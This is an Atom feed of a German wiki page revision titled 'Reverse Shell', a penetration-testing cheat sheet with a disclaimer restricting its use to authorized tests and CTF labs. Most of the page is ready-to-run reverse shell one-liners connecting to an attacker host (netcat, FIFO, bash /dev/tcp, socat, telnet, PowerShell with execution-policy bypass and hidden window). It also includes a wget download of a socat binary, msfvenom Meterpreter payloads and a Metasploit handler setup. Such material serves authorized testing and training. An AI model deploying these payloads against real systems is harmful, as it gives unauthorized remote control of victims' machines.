<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Reverse_Shell</id>
	<title>Reverse Shell - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Reverse_Shell"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Reverse_Shell&amp;action=history"/>
	<updated>2026-06-28T20:30:17Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Reverse_Shell&amp;diff=70044&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= Reverse Shell =  ;Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut *Im Gegensatz zur Bind Shell wartet nich…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Reverse_Shell&amp;diff=70044&amp;oldid=prev"/>
		<updated>2026-05-15T08:21:40Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= Reverse Shell =  ;Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut *Im Gegensatz zur Bind Shell wartet nich…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= Reverse Shell =&lt;br /&gt;
&lt;br /&gt;
;Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut&lt;br /&gt;
*Im Gegensatz zur Bind Shell wartet nicht der Angreifer auf eine eingehende Verbindung&lt;br /&gt;
*Das Zielsystem verbindet sich aktiv zum Listener des Angreifers&lt;br /&gt;
*Dadurch werden Firewalls umgangen die eingehende Verbindungen blockieren aber ausgehende erlauben&lt;br /&gt;
&lt;br /&gt;
 Normaler Ablauf:&lt;br /&gt;
 Attacker-Listener (nc -lvp 4242)  ←  Victim verbindet sich&lt;br /&gt;
&lt;br /&gt;
!!'''Wichtig'''!!&lt;br /&gt;
*Alle hier beschriebenen Techniken sind ausschließlich für autorisierte Penetrationstests und CTF-Übungen im eigenen Lab&lt;br /&gt;
*Einsatz gegen fremde Systeme ist strafbar (§ 202a StGB)&lt;br /&gt;
&lt;br /&gt;
= Listener starten =&lt;br /&gt;
&lt;br /&gt;
;Auf dem Angreifer-System muss zuerst ein Listener gestartet werden&lt;br /&gt;
*Der Listener wartet auf die eingehende Verbindung vom Opfer-System&lt;br /&gt;
&lt;br /&gt;
 nc -lvp 4242&lt;br /&gt;
&lt;br /&gt;
= Netcat =&lt;br /&gt;
&lt;br /&gt;
== Netcat Traditional ==&lt;br /&gt;
&lt;br /&gt;
;Funktioniert wenn netcat mit -e Option kompiliert wurde (z.B. unter Kali)&lt;br /&gt;
&lt;br /&gt;
 nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
 nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
 nc -c bash 10.0.0.1 4242&lt;br /&gt;
&lt;br /&gt;
== Netcat OpenBSD ==&lt;br /&gt;
&lt;br /&gt;
;Debian/Ubuntu verwenden standardmäßig netcat-openbsd — dort fehlt die -e Option&lt;br /&gt;
*Workaround über Named Pipe (FIFO)&lt;br /&gt;
&lt;br /&gt;
 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&lt;br /&gt;
== Netcat BusyBox ==&lt;br /&gt;
&lt;br /&gt;
;Auf eingebetteten Systemen (Router, IoT) ist oft nur BusyBox verfügbar&lt;br /&gt;
&lt;br /&gt;
 rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&lt;br /&gt;
== Ncat ==&lt;br /&gt;
&lt;br /&gt;
;Ncat ist die moderne Variante aus dem Nmap-Projekt — unterstützt -e nativ&lt;br /&gt;
&lt;br /&gt;
 ncat 10.0.0.1 4242 -e /bin/bash&lt;br /&gt;
 ncat --udp 10.0.0.1 4242 -e /bin/bash&lt;br /&gt;
&lt;br /&gt;
= Bash =&lt;br /&gt;
&lt;br /&gt;
== Bash TCP ==&lt;br /&gt;
&lt;br /&gt;
;Bash kann direkt über /dev/tcp eine TCP-Verbindung aufbauen — kein externes Tool nötig&lt;br /&gt;
&lt;br /&gt;
 bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
;Variante mit explizitem File Descriptor&lt;br /&gt;
&lt;br /&gt;
 0&amp;lt;&amp;amp;196; exec 196&amp;lt;&amp;gt;/dev/tcp/10.0.0.1/4242; sh &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
&lt;br /&gt;
;Variante mit /bin/bash&lt;br /&gt;
&lt;br /&gt;
 /bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
== Bash UDP ==&lt;br /&gt;
&lt;br /&gt;
;Listener auf Angreifer-Seite&lt;br /&gt;
&lt;br /&gt;
 nc -u -lvp 4242&lt;br /&gt;
&lt;br /&gt;
;Auf dem Opfer-System&lt;br /&gt;
&lt;br /&gt;
 sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
= Socat =&lt;br /&gt;
&lt;br /&gt;
;Socat ist mächtiger als netcat und liefert ein vollständiges TTY&lt;br /&gt;
&lt;br /&gt;
;Listener auf Angreifer-Seite&lt;br /&gt;
&lt;br /&gt;
 socat file:`tty`,raw,echo=0 TCP-L:4242&lt;br /&gt;
&lt;br /&gt;
;Auf dem Opfer-System (wenn socat installiert ist)&lt;br /&gt;
&lt;br /&gt;
 /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242&lt;br /&gt;
&lt;br /&gt;
;Falls socat nicht installiert ist — statisches Binary nachladen&lt;br /&gt;
&lt;br /&gt;
 wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat&lt;br /&gt;
 chmod +x /tmp/socat&lt;br /&gt;
 /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242&lt;br /&gt;
&lt;br /&gt;
= Telnet =&lt;br /&gt;
&lt;br /&gt;
;Funktioniert wenn weder netcat noch bash /dev/tcp verfügbar ist&lt;br /&gt;
*Zwei Listener auf dem Angreifer-System nötig&lt;br /&gt;
&lt;br /&gt;
;Listener auf Angreifer-Seite (zwei Terminals)&lt;br /&gt;
&lt;br /&gt;
 nc -lvp 8080&lt;br /&gt;
 nc -lvp 8081&lt;br /&gt;
&lt;br /&gt;
;Auf dem Opfer-System&lt;br /&gt;
&lt;br /&gt;
 telnet &amp;lt;Angreifer-IP&amp;gt; 8080 | /bin/sh | telnet &amp;lt;Angreifer-IP&amp;gt; 8081&lt;br /&gt;
&lt;br /&gt;
= Meterpreter via msfvenom =&lt;br /&gt;
&lt;br /&gt;
;msfvenom generiert Payloads für Metasploit — Listener danach mit multi/handler starten&lt;br /&gt;
&lt;br /&gt;
== Staged vs. Stageless ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! !! Staged !! Stageless&lt;br /&gt;
|-&lt;br /&gt;
| '''Größe''' || Klein (lädt Payload nach) || Größer (alles enthalten)&lt;br /&gt;
|-&lt;br /&gt;
| '''Requires MSF''' || Ja (für Stage 2) || Nein&lt;br /&gt;
|-&lt;br /&gt;
| '''Payload-Name''' || meterpreter/reverse_tcp || shell_reverse_tcp&lt;br /&gt;
|-&lt;br /&gt;
| '''Trennzeichen''' || / (Slash) || _ (Underscore)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
&lt;br /&gt;
;Staged reverse TCP&lt;br /&gt;
&lt;br /&gt;
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe &amp;gt; reverse.exe&lt;br /&gt;
&lt;br /&gt;
;Stageless reverse TCP&lt;br /&gt;
&lt;br /&gt;
 msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe &amp;gt; reverse.exe&lt;br /&gt;
&lt;br /&gt;
== Linux ==&lt;br /&gt;
&lt;br /&gt;
;Staged reverse TCP&lt;br /&gt;
&lt;br /&gt;
 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf &amp;gt; reverse.elf&lt;br /&gt;
&lt;br /&gt;
;Stageless reverse TCP&lt;br /&gt;
&lt;br /&gt;
 msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf &amp;gt; reverse.elf&lt;br /&gt;
&lt;br /&gt;
;Listener in Metasploit starten&lt;br /&gt;
&lt;br /&gt;
 msfconsole&lt;br /&gt;
 use exploit/multi/handler&lt;br /&gt;
 set payload windows/meterpreter/reverse_tcp&lt;br /&gt;
 set LHOST 10.0.0.1&lt;br /&gt;
 set LPORT 4242&lt;br /&gt;
 run&lt;br /&gt;
&lt;br /&gt;
= PowerShell =&lt;br /&gt;
&lt;br /&gt;
;Für Windows-Systeme — Ausführung mit Bypass der Execution Policy&lt;br /&gt;
&lt;br /&gt;
 powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&lt;br /&gt;
= TTY Upgrade =&lt;br /&gt;
&lt;br /&gt;
;Eine Reverse Shell ist oft kein vollständiges TTY — kein Tab-Completion, kein sudo, kein vi&lt;br /&gt;
*Nach dem Verbindungsaufbau TTY upgraden&lt;br /&gt;
&lt;br /&gt;
;Python (meist verfügbar)&lt;br /&gt;
&lt;br /&gt;
 python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;br /&gt;
&lt;br /&gt;
;Danach im gleichen Terminal&lt;br /&gt;
&lt;br /&gt;
 Ctrl+Z&lt;br /&gt;
 stty raw -echo; fg&lt;br /&gt;
 export TERM=xterm&lt;br /&gt;
&lt;br /&gt;
;Alternativ mit script&lt;br /&gt;
&lt;br /&gt;
 script /dev/null -c bash&lt;br /&gt;
&lt;br /&gt;
= Shell stabilisieren =&lt;br /&gt;
&lt;br /&gt;
;Nach dem TTY-Upgrade Umgebung setzen&lt;br /&gt;
&lt;br /&gt;
 export SHELL=bash&lt;br /&gt;
 export TERM=xterm-256color&lt;br /&gt;
 stty rows 38 columns 116&lt;br /&gt;
&lt;br /&gt;
= Weiterführende Links =&lt;br /&gt;
&lt;br /&gt;
*https://revshells.com — Reverse Shell Generator (alle Varianten, anpassbar)&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md — PayloadsAllTheThings&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Kali Linux]]&lt;br /&gt;
[[Kategorie:Penetration Testing]]&lt;br /&gt;
[[Kategorie:Metasploit]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>